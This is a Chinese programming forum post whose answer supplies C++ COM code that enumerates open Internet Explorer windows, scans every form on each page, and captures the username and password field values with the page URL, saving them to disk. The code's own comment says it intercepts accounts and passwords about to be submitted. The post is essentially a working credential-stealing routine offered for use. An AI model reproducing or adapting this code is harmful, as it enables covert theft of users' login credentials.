描述:
请大侠指点
解决方案1:
#include <atlbase.h>
#include <Mshtml.h>
#include <winuser.h>
#include <comdef.h>
protected:
SHDocVw::IShellWindowsPtr m_spSHWinds;
/*
构造函数:初始化Com
*/
CCapture::CCapture()
{
CoInitialize(NULL);
m_spSHWinds=NULL;
if (m_spSHWinds == NULL)
{
if (m_spSHWinds.CreateInstance(__uuidof(SHDocVw::ShellWindows)) != S_OK)
{
// MessageBox(NULL,"com failed","",MB_OK);
CoUninitialize();
}
}
}
/*
析构函数:释放资源
*/
CCapture::~CCapture()
{
if (m_spSHWinds)
{
m_spSHWinds.Release();
m_spSHWinds = NULL;
}
CoUninitialize();
}
/*
函数:截获待提交的IE页面上的帐户、密码及其当前的URL。
*/
void CCapture::GetIE()
{
VARIANT id, index;
CComPtr<IDispatch> spDispatch;
CComQIPtr<IHTMLDocument2, &IID_IHTMLDocument2> pDoc2;
CComPtr<IHTMLElement> pElement;
CComPtr<IHTMLElementCollection> pElementCol;
CComPtr<IHTMLFormElement> pFormElement;
CComPtr<IHTMLInputTextElement> pInputElement;
CString user;
if (m_spSHWinds)
{
int n = m_spSHWinds->GetCount();
for (int i = 0; i < n; i++)
{
_variant_t v = (long)i;
IDispatchPtr spDisp = m_spSHWinds->Item(v);
SHDocVw::IWebBrowser2Ptr spBrowser(spDisp); //生成一个IE窗口的智能指针
if (spBrowser)
{
_bstr_t item=spBrowser->GetLocationURL();
if (SUCCEEDED(spBrowser->get_Document( &spDispatch)))
pDoc2 = spDispatch;
if(pDoc2!=NULL)
{
if (SUCCEEDED(pDoc2->get_forms(&pElementCol)))
{
long p=0;
if(SUCCEEDED(pElementCol->get_length(&p)))
if(p!=0)
{
for(long i=0;i<=(p-1);i++)
{
V_VT(&id) = VT_I4;
V_I4(&id) = i;
V_VT(&index) = VT_I4;
V_I4(&index) = 0;
if(SUCCEEDED(pElementCol->item(id,index, &spDispatch)))
if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLFormElement,(void**)&pFormElement)))
{
long q=0;
if(SUCCEEDED(pFormElement->get_length(&q)))
for(long j=0;j<=(q-1);j++)
{
V_VT(&id) = VT_I4;
V_I4(&id) = j;
V_VT(&index) = VT_I4;
V_I4(&index) = 0;
if(SUCCEEDED(pFormElement->item(id,index, &spDispatch)))
if(SUCCEEDED(spDispatch->QueryInterface(IID_IHTMLInputTextElement,(void**)&pInputElement)))
{
CComBSTR value;
CComBSTR type;
pInputElement->get_type(&type);
CString strtype(type);
strtype.MakeUpper();
if(strtype.Find("TEXT")!=-1)
{
pInputElement->get_value(&value);
CString str(value);
if(!str.IsEmpty())
{
user.Empty();
user+=(_bstr_t)value;
}
}
else if(strtype.Find("PASSWORD")!=-1)
{
pInputElement->get_value(&value);
CString str(value);
if(!str.IsEmpty())
{
SaveToDisk(item,(_bstr_t)user,(_bstr_t)value);
}
}
}
}
}
}
}
}
}
}
}
}
}